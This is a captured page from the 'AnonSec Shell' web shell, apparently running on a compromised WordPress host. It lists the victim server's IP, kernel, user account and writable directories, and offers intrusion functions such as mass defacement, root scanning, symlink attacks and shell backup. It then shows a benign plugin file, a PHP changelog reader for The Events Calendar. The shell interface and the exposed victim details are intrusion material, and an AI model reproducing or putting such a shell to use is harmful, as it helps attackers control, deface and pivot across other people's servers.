. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.216.168   [ Reverse IP ]
Web Server : Apache
System : Linux webm002.cluster127.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : eticmes ( 123698)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/eticmes/www/wp-content/plugins/the-events-calendar/common/src/Tribe/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/eticmes/www/wp-content/plugins/the-events-calendar/common/src/Tribe/Changelog_Reader.php
<?php

class Tribe__Changelog_Reader {
	protected $version_count = 3;
	protected $readme_file = '';

	public function __construct( $version_count = 3, $readme_file = '' ) {
		$this->version_count = (int) $version_count;
		$this->readme_file = empty( $readme_file ) ? $this->default_readme_file() : $readme_file;
	}

	protected function default_readme_file() {
		return dirname( Tribe__Main::instance()->plugin_path ) . '/readme.txt';
	}

	public function get_changelog() {
		$contents = $this->extract_changelog_section();
		$lines = explode( "\n", $contents );

		$sections        = [];
		$current_section = '';
		foreach ( $lines as $line ) {
			$line = trim( $line );
			if ( substr( $line, 0, 1 ) == '=' ) {
				if ( count( $sections ) >= $this->version_count ) {
					break;
				}
				$header = trim( $line, '= ' );
				$current_section = esc_html( $header );
				$sections[ $current_section ] = [];
			} elseif ( strlen( $line ) > 0 ) {
				$message = trim( $line, '* ' );
				$sections[ $current_section ][] = esc_html( $message );
			}
		}
		return $sections;
	}

	protected function extract_changelog_section() {
		$contents = $this->get_readme_file_contents();
		$start = strpos( $contents, '== Changelog ==' );
		if ( $start === false ) {
			return '';
		}
		$start += 16; // account for the length of the header
		$end = strpos( $contents, '==', $start );
		return trim( substr( $contents, $start, $end - $start ) );
	}

	protected function get_readme_file_contents() {
		return file_get_contents( $this->readme_file );
	}
}

Anon7 - 2022
AnonSec Team